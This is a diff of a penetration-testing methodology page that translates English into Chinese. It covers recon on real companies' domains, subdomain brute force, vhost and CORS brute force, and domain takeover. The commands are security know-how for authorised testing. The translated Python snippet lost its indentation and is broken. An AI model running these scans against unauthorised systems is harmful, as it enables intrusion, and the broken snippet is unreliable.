depending on what you find you should** take a look in this book to how to pentest several possible services running.\ -**Also, It could be worth it to mention that you can also prepare some** default username **and** passwords **lists and try to** bruteforce services with [https://github.com/x90skysn3k/brutespray](https://github.com/x90skysn3k/brutespray). +## 域名 -## Domains +> 我们知道范围内的所有公司及其资产,现在是时候查找范围内的域名了。 -> We know all the companies inside the scope and their assets, it's time to find the domains inside the scope. +_请注意,在以下提出的技术中,您还可以找到子域名,这些信息不应被低估。_ -_Please, note that in the following purposed techniques you can also find subdomains and that information shouldn't be underrated._ +首先,您应该查找每个公司的 **主域名**。例如,对于 _Tesla Inc._,主域名将是 _tesla.com_。 -First of all you should look for the **main domain**(s) of each company. For example, for _Tesla Inc._ is going to be _tesla.com_. - -### **Reverse DNS** - -As you have found all the IP ranges of the domains you could try to perform **reverse dns lookups** on those **IPs to find more domains inside the scope**. Try to use some dns server of the victim or some well-known dns server (1.1.1.1, 8.8.8.8) +### **反向 DNS** +由于您已找到域名的所有 IP 范围,您可以尝试对这些 **IP 执行反向 DNS 查找,以查找范围内的更多域名**。尝试使用受害者的某些 DNS 服务器或一些知名的 DNS 服务器(1.1.1.1, 8.8.8.8)。 ```bash dnsrecon -r -n #DNS reverse of all of the addresses dnsrecon -d facebook.com -r 157.240.221.35/24 #Using facebooks dns dnsrecon -r 157.240.221.35/24 -n 1.1.1.1 #Using cloudflares dns dnsrecon -r 157.240.221.35/24 -n 8.8.8.8 #Using google dns ``` +为了使其工作,管理员必须手动启用 PTR。\ +您还可以使用在线工具获取此信息:[http://ptrarchive.com/](http://ptrarchive.com) -For this to work, the administrator has to enable manually the PTR.\ -You can also use a online tool for this info: [http://ptrarchive.com/](http://ptrarchive.com) +### **反向 Whois(循环)** -### **Reverse Whois (loop)** +在 **whois** 中,您可以找到很多有趣的 **信息**,例如 **组织名称**、**地址**、**电子邮件**、电话号码……但更有趣的是,如果您通过这些字段中的任何一个执行 **反向 whois 查询**(例如其他 whois 注册处中出现相同的电子邮件),您可以找到 **与公司相关的更多资产**。\ +您可以使用在线工具,例如: -Inside a **whois** you can find a lot of interesting **information** like **organisation name**, **address**, **emails**, phone numbers... But which is even more interesting is that you can find **more assets related to the company** if you perform **reverse whois lookups by any of those fields** (for example other whois registries where the same email appears).\ -You can use online tools like: +- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **免费** +- [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **免费** +- [https://www.reversewhois.io/](https://www.reversewhois.io) - **免费** +- [https://www.whoxy.com/](https://www.whoxy.com) - **免费** 网站,不免费 API。 +- [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - 不免费 +- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - 不免费(仅 **100 次免费** 查询) +- [https://www.domainiq.com/](https://www.domainiq.com) - 不免费 -- [https://viewdns.info/reversewhois/](https://viewdns.info/reversewhois/) - **Free** -- [https://domaineye.com/reverse-whois](https://domaineye.com/reverse-whois) - **Free** -- [https://www.reversewhois.io/](https://www.reversewhois.io) - **Free** -- [https://www.whoxy.com/](https://www.whoxy.com) - **Free** web, not free API. -- [http://reversewhois.domaintools.com/](http://reversewhois.domaintools.com) - Not free -- [https://drs.whoisxmlapi.com/reverse-whois-search](https://drs.whoisxmlapi.com/reverse-whois-search) - Not Free (only **100 free** searches) -- [https://www.domainiq.com/](https://www.domainiq.com) - Not Free +您可以使用 [**DomLink** ](https://github.com/vysecurity/DomLink) 自动化此任务(需要 whoxy API 密钥)。\ +您还可以使用 [amass](https://github.com/OWASP/Amass) 执行一些自动反向 whois 发现:`amass intel -d tesla.com -whois` -You can automate this task using [**DomLink** ](https://github.com/vysecurity/DomLink)(requires a whoxy API key).\ -You can also perform some automatic reverse whois discovery with [amass](https://github.com/OWASP/Amass): `amass intel -d tesla.com -whois` +**请注意,每次找到新域名时,您都可以使用此技术发现更多域名。** -**Note that you can use this technique to discover more domain names every time you find a new domain.** +### **跟踪器** -### **Trackers** +如果在两个不同页面中找到 **相同的跟踪器 ID**,您可以推测 **这两个页面** 是 **由同一团队管理**。\ +例如,如果您在多个页面上看到相同的 **Google Analytics ID** 或相同的 **Adsense ID**。 -If find the **same ID of the same tracker** in 2 different pages you can suppose that **both pages** are **managed by the same team**.\ -For example, if you see the same **Google Analytics ID** or the same **Adsense ID** on several pages. - -There are some pages and tools that let you search by these trackers and more: +有一些页面和工具可以让您通过这些跟踪器和更多内容进行搜索: - [**Udon**](https://github.com/dhn/udon) - [**BuiltWith**](https://builtwith.com) @@ -125,113 +113,99 @@ There are some pages and tools that let you search by these trackers and more: ### **Favicon** -Did you know that we can find related domains and sub domains to our target by looking for the same favicon icon hash? This is exactly what [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) tool made by [@m4ll0k2](https://twitter.com/m4ll0k2) does. Here’s how to use it: - +您知道我们可以通过查找相同的 favicon 图标哈希来找到与目标相关的域名和子域名吗?这正是 [favihash.py](https://github.com/m4ll0k/Bug-Bounty-Toolz/blob/master/favihash.py) 工具由 [@m4ll0k2](https://twitter.com/m4ll0k2) 制作的功能。以下是如何使用它: ```bash cat my_targets.txt | xargs -I %% bash -c 'echo "http://%%/favicon.ico"' > targets.txt python3 favihash.py -f https://target/favicon.ico -t targets.txt -s ``` +![favihash - 发现具有相同 favicon 图标哈希的域](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg) -![favihash - discover domains with the same favicon icon hash](https://www.infosecmatter.com/wp-content/uploads/2020/07/favihash.jpg) - -Simply said, favihash will allow us to discover domains that have the same favicon icon hash as our target. - -Moreover, you can also search technologies using the favicon hash as explained in [**this blog post**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139). That means that if you know the **hash of the favicon of a vulnerable version of a web tech** you can search if in shodan and **find more vulnerable places**: +简单来说,favihash 将允许我们发现与我们的目标具有相同 favicon 图标哈希的域。 +此外,您还可以使用 favicon 哈希搜索技术,如 [**这篇博客文章**](https://medium.com/@Asm0d3us/weaponizing-favicon-ico-for-bugbounties-osint-and-what-not-ace3c214e139) 中所述。这意味着如果您知道 **易受攻击的网络技术的 favicon 哈希**,您可以在 shodan 中搜索并 **找到更多易受攻击的地方**: ```bash shodan search org:"Target" http.favicon.hash:116323821 --fields ip_str,port --separator " " | awk '{print $1":"$2}' ``` - -This is how you can **calculate the favicon hash** of a web: - +这是您如何**计算网站的 favicon 哈希**: ```python import mmh3 import requests import codecs def fav_hash(url): - response = requests.get(url) - favicon = codecs.encode(response.content,"base64") - fhash = mmh3.hash(favicon) - print(f"{url} : {fhash}") - return fhash +response = requests.get(url) +favicon = codecs.encode(response.content,"base64") +fhash = mmh3.hash(favicon) +print(f"{url} : {fhash}") +return fhash ``` +### **版权 / 唯一字符串** -### **Copyright / Uniq string** +在网页中搜索 **可能在同一组织的不同网站之间共享的字符串**。**版权字符串**可能是一个很好的例子。然后在 **google**、其他 **浏览器**或甚至在 **shodan** 中搜索该字符串: `shodan search http.html:"Copyright string"` -Search inside the web pages **strings that could be shared across different webs in the same organisation**. The **copyright string** could be a good example. Then search for that string in **google**, in other **browsers** or even in **shodan**: `shodan search http.html:"Copyright string"` - -### **CRT Time** - -It's common to have a cron job such as +### **CRT 时间** +通常会有一个 cron 作业,例如 ```bash # /etc/crontab 37 13 */10 * * certbot renew --post-hook "systemctl reload nginx" ``` +更新服务器上所有域名证书。这意味着即使用于此的CA没有在有效期内设置生成时间,也可以**在证书透明日志中找到属于同一公司的域名**。\ +查看这个[**写作以获取更多信息**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/)。 -to renew the all the domain certificates on the server. This means that even if the CA used for this doesn't set the time it was generated in the Validity time, it's possible to **find domains belonging to the same company in the certificate transparency logs**.\ -Check out this [**writeup for more information**](https://swarm.ptsecurity.com/discovering-domains-via-a-time-correlation-attack/). +### 邮件 DMARC 信息 -### Mail DMARC information +您可以使用一个网站,例如 [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) 或一个工具,例如 [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) 来查找**共享相同 DMARC 信息的域名和子域名**。 -You can use a web such as [https://dmarc.live/info/google.com](https://dmarc.live/info/google.com) or a tool such as [https://github.com/Tedixx/dmarc-subdomains](https://github.com/Tedixx/dmarc-subdomains) to find **domains and subdomain sharing the same dmarc information**. +### **被动接管** -### **Passive Takeover** +显然,人们常常将子域名分配给属于云服务提供商的IP,并在某个时候**失去该IP地址但忘记删除DNS记录**。因此,仅仅在云中**创建一个虚拟机**(如 Digital Ocean),您实际上将**接管一些子域名**。 -Apparently is common for people to assign subdomains to IPs that belongs to cloud providers and at some point **lose that IP address but forget about removing the DNS record**. Therefore, just **spawning a VM** in a cloud (like Digital Ocean) you will be actually **taking over some subdomains(s)**. +[**这篇文章**](https://kmsec.uk/blog/passive-takeover/)解释了一个关于它的故事,并提出了一个脚本,该脚本**在 DigitalOcean 中创建一个虚拟机**,**获取**新机器的**IPv4**,并**在 Virustotal 中搜索指向它的子域名记录**。 -[**This post**](https://kmsec.uk/blog/passive-takeover/) explains a store about it and propose a script that **spawns a VM in DigitalOcean**, **gets** the **IPv4** of the new machine, and **searches in Virustotal for subdomain records** pointing to it. +### **其他方法** -### **Other ways** - -**Note that you can use this technique to discover more domain names every time you find a new domain.** +**请注意,每次找到新域名时,您可以使用此技术发现更多域名。** **Shodan** -As you already know the name of the organisation owning the IP space. You can search by that data in shodan using: `org:"Tesla, Inc."` Check the found hosts for new unexpected domains in the TLS certificate. +如您所知,您可以通过组织名称搜索IP空间。您可以在shodan中使用以下数据进行搜索:`org:"Tesla, Inc."` 检查找到的主机以获取TLS证书中的新意外域名。 -You could access the **TLS certificate** of the main web page, obtain the **Organisation name** and then search for that name inside the **TLS certificates** of all the web pages known by **shodan** with the filter : `ssl:"Tesla Motors"` or use a tool like [**sslsearch**](https://github.com/HarshVaragiya/sslsearch). +您可以访问主网页的**TLS证书**,获取**组织名称**,然后在**shodan**已知的所有网页的**TLS证书**中搜索该名称,使用过滤器:`ssl:"Tesla Motors"` 或使用像 [**sslsearch**](https://github.com/HarshVaragiya/sslsearch) 的工具。 **Assetfinder** -[**Assetfinder** ](https://github.com/tomnomnom/assetfinder)is a tool that look for **domains related** with a main domain and **subdomains** of them, pretty amazing. +[**Assetfinder**](https://github.com/tomnomnom/assetfinder)是一个查找与主域名相关的**域名**及其**子域名**的工具,非常惊人。 -### **Looking for vulnerabilities** +### **寻找漏洞** -Check for some [domain takeover](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover). Maybe some company is **using some a domain** but they **lost the ownership**. Just register it (if cheap enough) and let know the company. +检查一些[域名接管](../../pentesting-web/domain-subdomain-takeover.md#domain-takeover)。也许某家公司正在**使用某个域名**但他们**失去了所有权**。只需注册它(如果足够便宜)并告知公司。 -If you find any **domain with an IP different** from the ones you already found in the assets discovery, you should perform a **basic vulnerability scan** (using Nessus or OpenVAS) and some [**port scan**](../pentesting-network/#discovering-hosts-from-the-outside) with **nmap/masscan/shodan**. Depending on which services are running you can find in **this book some tricks to "attack" them**.\ +如果您发现任何**IP与您在资产发现中找到的不同**的域名,您应该执行**基本漏洞扫描**(使用Nessus或OpenVAS)和一些[**端口扫描**](../pentesting-network/#discovering-hosts-from-the-outside)使用**nmap/masscan/shodan**。根据运行的服务,您可以在**这本书中找到一些“攻击”它们的技巧**。\ &#xNAN;_Note that sometimes the domain is hosted inside an IP that is not controlled by the client, so it's not in the scope, be careful._ -\ -**Bug bounty tip**: **sign up** for **Intigriti**, a premium **bug bounty platform created by hackers, for hackers**! Join us at [**https://go.intigriti.com/hacktricks**](https://go.intigriti.com/hacktricks) today, and start earning bounties up to **$100,000**! -{% embed url="https://go.intigriti.com/hacktricks" %} -## Subdomains +## 子域名 -> We know all the companies inside the scope, all the assets of each company and all the domains related to the companies. +> 我们知道所有在范围内的公司、每个公司的所有资产以及与这些公司相关的所有域名。 -It's time to find all the possible subdomains of each found domain. +是时候找到每个找到的域名的所有可能子域名。 > [!TIP] -> Note that some of the tools and techniques to find domains can also help to find subdomains +> 请注意,一些查找域名的工具和技术也可以帮助查找子域名 ### **DNS** -Let's try to get **subdomains** from the **DNS** records. We should also try for **Zone Transfer** (If vulnerable, you should report it). - +让我们尝试从**DNS**记录中获取**子域名**。我们还应该尝试进行**区域传输**(如果存在漏洞,您应该报告它)。 ```bash dnsrecon -a -d tesla.com ``` - ### **OSINT** -The fastest way to obtain a lot of subdomains is search in external sources. The most used **tools** are the following ones (for better results configure the API keys): +获取大量子域名的最快方法是搜索外部来源。最常用的 **tools** 如下(为了获得更好的结果,请配置 API 密钥): - [**BBOT**](https://github.com/blacklanternsecurity/bbot) - ```bash # subdomains bbot -t tesla.com -f subdomain-enum @@ -242,108 +216,80 @@ bbot -t tesla.com -f subdomain-enum -rf passive # subdomains + port scan + web screenshots bbot -t tesla.com -f subdomain-enum -m naabu gowitness -n my_scan -o . ``` - - [**Amass**](https://github.com/OWASP/Amass) - ```bash amass enum [-active] [-ip] -d tesla.com amass enum -d tesla.com | grep tesla.com # To just list subdomains ``` - - [**subfinder**](https://github.com/projectdiscovery/subfinder) - ```bash # Subfinder, use -silent to only have subdomains in the output ./subfinder-linux-amd64 -d tesla.com [-silent] ``` - - [**findomain**](https://github.com/Edu4rdSHL/findomain/) - ```bash # findomain, use -silent to only have subdomains in the output ./findomain-linux -t tesla.com [--quiet] ``` - - [**OneForAll**](https://github.com/shmilylty/OneForAll/tree/master/docs/en-us) - ```bash python3 oneforall.py --target tesla.com [--dns False] [--req False] [--brute False] run ``` - - [**assetfinder**](https://github.com/tomnomnom/assetfinder) - ```bash assetfinder --subs-only ``` - - [**Sudomy**](https://github.com/Screetsec/Sudomy) - ```bash # It requires that you create a sudomy.api file with API keys sudomy -d tesla.com ``` - - [**vita**](https://github.com/junnlikestea/vita) - ``` vita -d tesla.com ``` - - [**theHarvester**](https://github.com/laramies/theHarvester) - ```bash theHarvester -d tesla.com -b "anubis, baidu, bing, binaryedge, bingapi, bufferoverun, censys, certspotter, crtsh, dnsdumpster, duckduckgo, fullhunt, github-code, google, hackertarget, hunter, intelx, linkedin, linkedin_links, n45ht, omnisint, otx, pentesttools, projectdiscovery, qwant, rapiddns, rocketreach, securityTrails, spyse, sublist3r, threatcrowd, threatminer, trello, twitter, urlscan, virustotal, yahoo, zoomeye" ``` +还有一些**其他有趣的工具/API**,即使它们并不是专门用于查找子域名,但也可能对查找子域名有用,例如: -There are **other interesting tools/APIs** that even if not directly specialised in finding subdomains could be useful to find subdomains, like: - -- [**Crobat**](https://github.com/cgboal/sonarsearch)**:** Uses the API [https://sonar.omnisint.io](https://sonar.omnisint.io) to obtain subdomains - +- [**Crobat**](https://github.com/cgboal/sonarsearch)**:** 使用API [https://sonar.omnisint.io](https://sonar.omnisint.io) 来获取子域名 ```bash # Get list of subdomains in output from the API ## This is the API the crobat tool will use curl https://sonar.omnisint.io/subdomains/tesla.com | jq -r ".[]" ``` - -- [**JLDC free API**](https://jldc.me/anubis/subdomains/google.com) - +- [**JLDC 免费 API**](https://jldc.me/anubis/subdomains/google.com) ```bash curl https://jldc.me/anubis/subdomains/tesla.com | jq -r ".[]" ``` - -- [**RapidDNS**](https://rapiddns.io) free API - +- [**RapidDNS**](https://rapiddns.io) 免费API ```bash # Get Domains from rapiddns free API rapiddns(){ - curl -s "https://rapiddns.io/subdomain/$1?full=1" \ - | grep -oE "[\.a-zA-Z0-9-]+\.$1" \ - | sort -u +curl -s "https://rapiddns.io/subdomain/$1?full=1" \ +| grep -oE "[\.a-zA-Z0-9-]+\.$1" \ +| sort -u } rapiddns tesla.com ``` - - [**https://crt.sh/**](https://crt.sh) - ```bash # Get Domains from crt free API crt(){ - curl -s "https://crt.sh/?q=%25.$1" \ - | grep -oE "[\.a-zA-Z0-9-]+\.$1" \ - | sort -u +curl -s "https://crt.sh/?q=%25.$1" \ +| grep -oE "[\.a-zA-Z0-9-]+\.$1" \ +| sort -u } crt tesla.com ``` - -- [**gau**](https://github.com/lc/gau)**:** fetches known URLs from AlienVault's Open Threat Exchange, the Wayback Machine, and Common Crawl for any given domain. - +- [**gau**](https://github.com/lc/gau)**:** 从AlienVault的开放威胁交换、Wayback Machine和Common Crawl获取任何给定域的已知URL。 ```bash # Get subdomains from GAUs found URLs gau --subs tesla.com | cut -d "/" -f 3 | sort -u ``` - -- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **&** [**subscraper**](https://github.com/Cillian-Collins/subscraper): They scrap the web looking for JS files and extract subdomains from there. - +- [**SubDomainizer**](https://github.com/nsonaniya2010/SubDomainizer) **和** [**subscraper**](https://github.com/Cillian-Collins/subscraper):它们在网络上抓取JS文件并从中提取子域名。 ```bash # Get only subdomains from SubDomainizer python3 SubDomainizer.py -u https://tesla.com | grep tesla.com @@ -351,42 +297,35 @@ python3 SubDomainizer.py -u https://tesla.com | grep tesla.com # Get only subdomains from subscraper, this already perform recursion over the found results python subscraper.py -u tesla.com | grep tesla.com | cut -d " " -f ``` - - [**Shodan**](https://www.shodan.io/) - ```bash # Get info about the domain shodan domain # Get other pages with links to subdomains shodan search "http.html:help.domain.com" ``` - -- [**Censys subdomain finder**](https://github.com/christophetd/censys-subdomain-finder) - +- [**Censys 子域名查找器**](https://github.com/christophetd/censys-subdomain-finder) ```bash export CENSYS_API_ID=... export CENSYS_API_SECRET=... python3 censys-subdomain-finder.py tesla.com ``` - - [**DomainTrail.py**](https://github.com/gatete/DomainTrail) - ```bash python3 DomainTrail.py -d example.com ``` - -- [**securitytrails.com**](https://securitytrails.com/) has a free API to search for subdomains and IP history +- [**securitytrails.com**](https://securitytrails.com/) 提供免费的 API 用于搜索子域名和 IP 历史 - [**chaos.projectdiscovery.io**](https://chaos.projectdiscovery.io/#/) -This project offers for **free all the subdomains related to bug-bounty programs**. You can access this data also using [chaospy](https://github.com/dr-0x0x/chaospy) or even access the scope used by this project [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) +该项目提供 **与漏洞赏金计划相关的所有子域名** 的 **免费** 访问。您还可以使用 [chaospy](https://github.com/dr-0x0x/chaospy) 访问这些数据,甚至可以访问该项目使用的范围 [https://github.com/projectdiscovery/chaos-public-program-list](https://github.com/projectdiscovery/chaos-public-program-list) -You can find a **comparison** of many of these tools here: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) +您可以在这里找到许多这些工具的 **比较**: [https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off](https://blog.blacklanternsecurity.com/p/subdomain-enumeration-tool-face-off) -### **DNS Brute force** +### **DNS 暴力破解** -Let's try to find new **subdomains** brute-forcing DNS servers using possible subdomain names. +让我们尝试通过暴力破解 DNS 服务器来查找新的 **子域名**,使用可能的子域名名称。 -For this action you will need some **common subdomains wordlists like**: +为此操作,您需要一些 **常见的子域名词汇表,如**: - [https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056](https://gist.github.com/jhaddix/86a06c5dc309d08580a018c66354a056) - [https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt](https://wordlists-cdn.assetnote.io/data/manual/best-dns-wordlist.txt) @@ -394,118 +333,93 @@ For this action you will need some **common subdomains wordlists like**: - [https://github.com/pentester-io/commonspeak](https://github.com/pentester-io/commonspeak) - [https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS](https://github.com/danielmiessler/SecLists/tree/master/Discovery/DNS) -And also IPs of good DNS resolvers. In order to generate a list of trusted DNS resolvers you can download the resolvers from [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) and use [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) to filter them. Or you could use: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) +还需要一些好的 DNS 解析器的 IP。为了生成可信 DNS 解析器的列表,您可以从 [https://public-dns.info/nameservers-all.txt](https://public-dns.info/nameservers-all.txt) 下载解析器,并使用 [**dnsvalidator**](https://github.com/vortexau/dnsvalidator) 进行过滤。或者您可以使用: [https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt](https://raw.githubusercontent.com/trickest/resolvers/main/resolvers-trusted.txt) -The most recommended tools for DNS brute-force are: - -- [**massdns**](https://github.com/blechschmidt/massdns): This was the first tool that performed an effective DNS brute-force. It's very fast however it's prone to false positives. +最推荐的 DNS 暴力破解工具是: +- [**massdns**](https://github.com/blechschmidt/massdns): 这是第一个执行有效 DNS 暴力破解的工具。它非常快速,但容易产生误报。 ```bash sed 's/$/.domain.com/' subdomains.txt > bf-subdomains.txt ./massdns -r resolvers.txt -w /tmp/results.txt bf-subdomains.txt grep -E "tesla.com. [0-9]+ IN A .+" /tmp/results.txt ``` - -- [**gobuster**](https://github.com/OJ/gobuster): This one I think just uses 1 resolver - +- [**gobuster**](https://github.com/OJ/gobuster): 我认为这个只使用了一个解析器 ``` gobuster dns -d mysite.com -t 50 -w subdomains.txt ``` - -- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) is a wrapper around `massdns`, written in go, that allows you to enumerate valid subdomains using active bruteforce, as well as resolve subdomains with wildcard handling and easy input-output support. - +- [**shuffledns**](https://github.com/projectdiscovery/shuffledns) 是一个围绕 `massdns` 的包装器,使用 Go 编写,允许您通过主动暴力破解枚举有效的子域名,并支持通配符处理和简单的输入输出。 ``` shuffledns -d example.com -list example-subdomains.txt -r resolvers.txt ``` - -- [**puredns**](https://github.com/d3mondev/puredns): It also uses `massdns`. - +- [**puredns**](https://github.com/d3mondev/puredns): 它还使用 `massdns`。 ``` puredns bruteforce all.txt domain.com ``` - -- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) uses asyncio to brute force domain names asynchronously. - +- [**aiodnsbrute**](https://github.com/blark/aiodnsbrute) 使用 asyncio 异步暴力破解域名。 ``` aiodnsbrute -r resolvers -w wordlist.txt -vv -t 1024 domain.com ``` +### 第二轮 DNS 暴力破解 -### Second DNS Brute-Force Round - -After having found subdomains using open sources and brute-forcing, you could generate alterations of the subdomains found to try to find even more. Several tools are useful for this purpose: - -- [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** Given the domains and subdomains generate permutations. +在使用开放源和暴力破解找到子域名后,您可以生成找到的子域名的变体,以尝试找到更多。几个工具对这个目的很有用: +- [**dnsgen**](https://github.com/ProjectAnte/dnsgen)**:** 给定域名和子域名生成排列。 ```bash cat subdomains.txt | dnsgen - ``` - -- [**goaltdns**](https://github.com/subfinder/goaltdns): Given the domains and subdomains generate permutations. - - You can get goaltdns permutations **wordlist** in [**here**](https://github.com/subfinder/goaltdns/blob/master/words.txt). - +- [**goaltdns**](https://github.com/subfinder/goaltdns): 给定域名和子域名生成排列。 +- 你可以在 [**这里**](https://github.com/subfinder/goaltdns/blob/master/words.txt) 获取 goaltdns 排列 **词表**。 ```bash goaltdns -l subdomains.txt -w /tmp/words-permutations.txt -o /tmp/final-words-s3.txt ``` - -- [**gotator**](https://github.com/Josue87/gotator)**:** Given the domains and subdomains generate permutations. If not permutations file is indicated gotator will use its own one. - +- [**gotator**](https://github.com/Josue87/gotator)**:** 给定域名和子域名生成排列。如果没有指定排列文件,gotator 将使用自己的文件。 ``` gotator -sub subdomains.txt -silent [-perm /tmp/words-permutations.txt] ``` - -- [**altdns**](https://github.com/infosec-au/altdns): Apart from generating subdomains permutations, it can also try to resolve them (but it's better to use the previous commented tools). - - You can get altdns permutations **wordlist** in [**here**](https://github.com/infosec-au/altdns/blob/master/words.txt). - +- [**altdns**](https://github.com/infosec-au/altdns): 除了生成子域名排列,它还可以尝试解析它们(但最好使用之前提到的工具)。 +- 你可以在 [**这里**](https://github.com/infosec-au/altdns/blob/master/words.txt) 获取 altdns 排列的 **wordlist**。 ``` altdns -i subdomains.txt -w /tmp/words-permutations.txt -o /tmp/asd3 ``` - -- [**dmut**](https://github.com/bp0lr/dmut): Another tool to perform permutations, mutations and alteration of subdomains. This tool will brute force the result (it doesn't support dns wild card). - - You can get dmut permutations wordlist in [**here**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt). - +- [**dmut**](https://github.com/bp0lr/dmut): 另一个用于执行子域名的排列、变异和修改的工具。该工具将对结果进行暴力破解(不支持 DNS 通配符)。 +- 你可以在 [**这里**](https://raw.githubusercontent.com/bp0lr/dmut/main/words.txt) 获取 dmut 排列词表。 ```bash cat subdomains.txt | dmut -d /tmp/words-permutations.txt -w 100 \ - --dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt +--dns-errorLimit 10 --use-pb --verbose -s /tmp/resolvers-trusted.txt ``` +- [**alterx**](https://github.com/projectdiscovery/alterx)**:** 基于域名,它 **生成新的潜在子域名**,基于指示的模式以尝试发现更多子域名。 -- [**alterx**](https://github.com/projectdiscovery/alterx)**:** Based on a domain it **generates new potential subdomains names** based on indicated patterns to try to discover more subdomains. - -#### Smart permutations generation - -- [**regulator**](https://github.com/cramppet/regulator): For more info read this [**post**](https://cramppet.github.io/regulator/index.html) but it will basically get the **main parts** from the **discovered subdomains** and will mix them to find more subdomains. +#### 智能排列生成 +- [**regulator**](https://github.com/cramppet/regulator): 有关更多信息,请阅读此 [**帖子**](https://cramppet.github.io/regulator/index.html),但它基本上会从 **发现的子域名** 中获取 **主要部分** 并将其混合以找到更多子域名。 ```bash python3 main.py adobe.com adobe adobe.rules make_brute_list.sh adobe.rules adobe.brute puredns resolve adobe.brute --write adobe.valid ``` - -- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ is a subdomain brute-force fuzzer coupled with an immensly simple but effective DNS reponse-guided algorithm. It utilizes a provided set of input data, like a tailored wordlist or historical DNS/TLS records, to accurately synthesize more corresponding domain names and expand them even further in a loop based on information gathered during DNS scan. - +- [**subzuf**](https://github.com/elceef/subzuf)**:** _subzuf_ 是一个子域名暴力破解模糊器,结合了一个极其简单但有效的 DNS 响应引导算法。它利用提供的一组输入数据,如定制的词汇表或历史 DNS/TLS 记录,准确合成更多相应的域名,并根据在 DNS 扫描期间收集的信息进一步扩展它们。 ``` echo www | subzuf facebook.com ``` +### **子域发现工作流程** -### **Subdomain Discovery Workflow** - -Check this blog post I wrote about how to **automate the subdomain discovery** from a domain using **Trickest workflows** so I don't need to launch manually a bunch of tools in my computer: +查看我写的这篇博客文章,关于如何使用 **Trickest workflows** **自动化子域发现**,这样我就不需要在我的电脑上手动启动一堆工具: {% embed url="https://trickest.com/blog/full-subdomain-discovery-using-workflow/" %} {% embed url="https://trickest.com/blog/full-subdomain-brute-force-discovery-using-workflow/" %} -### **VHosts / Virtual Hosts** +### **虚拟主机 / VHosts** -If you found an IP address containing **one or several web pages** belonging to subdomains, you could try to **find other subdomains with webs in that IP** by looking in **OSINT sources** for domains in an IP or by **brute-forcing VHost domain names in that IP**. +如果你发现一个包含 **一个或多个网页** 的 IP 地址属于子域,你可以尝试通过在 **OSINT 来源** 中查找该 IP 的域名,或者通过 **暴力破解该 IP 的 VHost 域名** 来 **寻找其他子域**。 #### OSINT -You can find some **VHosts in IPs using** [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **or other APIs**. +你可以使用 [**HostHunter**](https://github.com/SpiderLabs/HostHunter) **或其他 API** 找到一些 **IP 中的 VHosts**。 -**Brute Force** - -If you suspect that some subdomain can be hidden in a web server you could try to brute force it: +**暴力破解** +如果你怀疑某个子域可能隐藏在一个网络服务器中,你可以尝试进行暴力破解: ```bash ffuf -c -w /path/to/wordlist -u http://victim.com -H "Host: FUZZ.victim.com" @@ -519,207 +433,196 @@ vhostbrute.py --url="example.com" --remoteip="10.1.1.15" --base="www.example.com #https://github.com/codingo/VHostScan VHostScan -t example.com ``` - > [!NOTE] -> With this technique you may even be able to access internal/hidden endpoints. +> 使用此技术,您甚至可能能够访问内部/隐藏的端点。 -### **CORS Brute Force** - -Sometimes you will find pages that only return the header _**Access-Control-Allow-Origin**_ when a valid domain/subdomain is set in the _**Origin**_ header. In these scenarios, you can abuse this behaviour to **discover** new **subdomains**. +### **CORS 暴力破解** +有时您会发现页面仅在 _**Origin**_ 头中设置有效的域/子域时返回头部 _**Access-Control-Allow-Origin**_。在这些情况下,您可以利用这种行为来 **发现** 新的 **子域**。 ```bash ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http://FUZZ.crossfit.htb' -mr "Access-Control-Allow-Origin" -ignore-body ``` +### **桶暴力破解** -### **Buckets Brute Force** +在寻找 **子域名** 时,注意它是否 **指向** 任何类型的 **桶**,在这种情况下 [**检查权限**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ +此外,既然此时你已经知道了所有在范围内的域名,尝试 [**暴力破解可能的桶名称并检查权限**](../../network-services-pentesting/pentesting-web/buckets/)。 -While looking for **subdomains** keep an eye to see if it is **pointing** to any type of **bucket**, and in that case [**check the permissions**](../../network-services-pentesting/pentesting-web/buckets/)**.**\ -Also, as at this point you will know all the domains inside the scope, try to [**brute force possible bucket names and check the permissions**](../../network-services-pentesting/pentesting-web/buckets/). +### **监控** -### **Monitorization** +你可以通过监控 **证书透明度** 日志来 **监控** 一个域名是否创建了 **新子域名**,[**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)可以做到这一点。 -You can **monitor** if **new subdomains** of a domain are created by monitoring the **Certificate Transparency** Logs [**sublert** ](https://github.com/yassineaboukir/sublert/blob/master/sublert.py)does. +### **寻找漏洞** -### **Looking for 